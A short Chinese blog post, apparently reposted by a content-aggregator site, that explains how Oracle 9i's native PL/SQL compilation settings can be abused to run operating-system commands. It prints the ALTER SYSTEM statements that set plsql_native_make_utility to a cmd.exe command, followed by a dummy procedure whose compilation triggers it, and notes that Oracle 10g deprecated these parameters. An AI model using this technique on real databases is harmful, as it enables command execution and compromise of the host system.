這里舉出一個攻擊代碼例子，你也許會覺得驚奇，抑或認為這是一個運行命令的好辦法，是的它很“有用”。 在Oracle 9i中允許采用Oracle本地編譯PL/SQL應用程序的方式進行操作。顯然，可以利用這一點來運行OS命令： SQL> alter system set plsql_native_make_utility='cmd.exe /C dir >C:\oops.txt &'; SQL> alter system set plsql_native_make_file_name=' foo'; SQL> alter system set plsql_native_library_dir='bee'; 系統已更改。 create or replace PROCEDURE wcg IS BEGIN NULL; END; / show errors 在Oracle編譯wcg過程的時候，Oracle會執行下面的代碼： cmd.exe /C dir > C:\oops.txt -& -f foo bee/RUN_CMD__SYSTEM__0.DLL Oracle10g中 plsql_native_make_utility與plsql_native_make_file_name2個參數已被廢棄。

總結

以上是生活随笔為你收集整理的使用ALTER SYSTEM运行OS命令的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。